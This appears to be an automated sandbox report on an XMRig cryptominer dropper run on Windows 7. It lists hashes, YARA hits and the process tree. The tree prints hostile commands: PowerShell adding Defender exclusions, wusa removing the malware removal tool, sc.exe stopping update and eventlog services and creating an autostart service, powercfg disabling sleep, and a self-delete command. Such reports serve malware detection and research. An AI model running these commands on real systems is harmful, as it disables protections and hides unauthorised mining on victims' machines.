Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
18-12-2024 09:29
Static task
static1
Behavioral task
behavioral1
Sample
a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe
Resource
win7-20240903-en
General
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Target
a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe
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Size
5.6MB
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MD5
cf7f6c3c7697b01ecbd9c092736abbf0
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SHA1
1fbdc317d919b2d277b163b64dcb9558178af7ce
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SHA256
a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9
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SHA512
a4c834b05093f9e9230e6c405b14e71024864d3e1bf91433db4e00a180a900b65283d6cc1b14b2f6b08506f6762caaa01cd8ae14a7a3ba99c3742b4ede5bfae5
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/2096-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2096-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2096-32-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2096-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2096-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2096-31-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2096-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2096-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2564 powershell.exe 2804 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 1668 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 480 Process not Found 2772 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 480 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2956 powercfg.exe 1376 powercfg.exe 1012 powercfg.exe 2996 powercfg.exe 2044 powercfg.exe 1624 powercfg.exe 1072 powercfg.exe 1884 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2772 set thread context of 1860 2772 fqwofdtexigy.exe 84 PID 2772 set thread context of 2096 2772 fqwofdtexigy.exe 87 -
resource yara_rule behavioral1/memory/2096-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-39-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2684 sc.exe 800 sc.exe 2676 sc.exe 2588 sc.exe 1416 sc.exe 556 sc.exe 1440 sc.exe 2652 sc.exe 2740 sc.exe 2720 sc.exe 2532 sc.exe 2448 sc.exe 1664 sc.exe 2476 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a00ed86b2f51db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2960 a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe 2564 powershell.exe 2960 a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe 2960 a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe 2960 a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe 2960 a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe 2960 a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe 2960 a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe 2960 a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe 2960 a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe 2960 a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe 2960 a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe 2960 a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe 2960 a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe 2960 a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe 2960 a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe 2960 a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe 2772 fqwofdtexigy.exe 2804 powershell.exe 2772 fqwofdtexigy.exe 2772 fqwofdtexigy.exe 2772 fqwofdtexigy.exe 2772 fqwofdtexigy.exe 2772 fqwofdtexigy.exe 2772 fqwofdtexigy.exe 2772 fqwofdtexigy.exe 2772 fqwofdtexigy.exe 2772 fqwofdtexigy.exe 2772 fqwofdtexigy.exe 2772 fqwofdtexigy.exe 2772 fqwofdtexigy.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2564 powershell.exe Token: SeShutdownPrivilege 2044 powercfg.exe Token: SeShutdownPrivilege 1012 powercfg.exe Token: SeShutdownPrivilege 2996 powercfg.exe Token: SeShutdownPrivilege 1376 powercfg.exe Token: SeDebugPrivilege 2804 powershell.exe Token: SeShutdownPrivilege 1072 powercfg.exe Token: SeShutdownPrivilege 1624 powercfg.exe Token: SeShutdownPrivilege 1884 powercfg.exe Token: SeShutdownPrivilege 2956 powercfg.exe Token: SeLockMemoryPrivilege 2096 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2712 wrote to memory of 2848 2712 cmd.exe 34 PID 2712 wrote to memory of 2848 2712 cmd.exe 34 PID 2712 wrote to memory of 2848 2712 cmd.exe 34 PID 1668 wrote to memory of 2816 1668 cmd.exe 61 PID 1668 wrote to memory of 2816 1668 cmd.exe 61 PID 1668 wrote to memory of 2816 1668 cmd.exe 61 PID 1592 wrote to memory of 1916 1592 cmd.exe 71 PID 1592 wrote to memory of 1916 1592 cmd.exe 71 PID 1592 wrote to memory of 1916 1592 cmd.exe 71 PID 2772 wrote to memory of 1860 2772 fqwofdtexigy.exe 84 PID 2772 wrote to memory of 1860 2772 fqwofdtexigy.exe 84 PID 2772 wrote to memory of 1860 2772 fqwofdtexigy.exe 84 PID 2772 wrote to memory of 1860 2772 fqwofdtexigy.exe 84 PID 2772 wrote to memory of 1860 2772 fqwofdtexigy.exe 84 PID 2772 wrote to memory of 1860 2772 fqwofdtexigy.exe 84 PID 2772 wrote to memory of 1860 2772 fqwofdtexigy.exe 84 PID 2772 wrote to memory of 1860 2772 fqwofdtexigy.exe 84 PID 2772 wrote to memory of 1860 2772 fqwofdtexigy.exe 84 PID 2772 wrote to memory of 2096 2772 fqwofdtexigy.exe 87 PID 2772 wrote to memory of 2096 2772 fqwofdtexigy.exe 87 PID 2772 wrote to memory of 2096 2772 fqwofdtexigy.exe 87 PID 2772 wrote to memory of 2096 2772 fqwofdtexigy.exe 87 PID 2772 wrote to memory of 2096 2772 fqwofdtexigy.exe 87
Processes
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C:\Users\Admin\AppData\Local\Temp\a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe"C:\Users\Admin\AppData\Local\Temp\a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2960 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2564
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2712 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2848
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2740
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2720
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2532
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2448
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2588
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1376
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1012
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2996
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2044
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:1664
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:1416
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2684
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:556
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9N.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2816
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2772 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2804
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1592 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:1916
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1440
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2476
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:800
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2676
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2652
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1624
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1072
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1884
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2956
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:1860
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2096
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD5cf7f6c3c7697b01ecbd9c092736abbf0
SHA11fbdc317d919b2d277b163b64dcb9558178af7ce
SHA256a58afe4b9d76c4bc307b793c5c4cda8d2f52da5e2eae0393df2e97f631fb40d9
SHA512a4c834b05093f9e9230e6c405b14e71024864d3e1bf91433db4e00a180a900b65283d6cc1b14b2f6b08506f6762caaa01cd8ae14a7a3ba99c3742b4ede5bfae5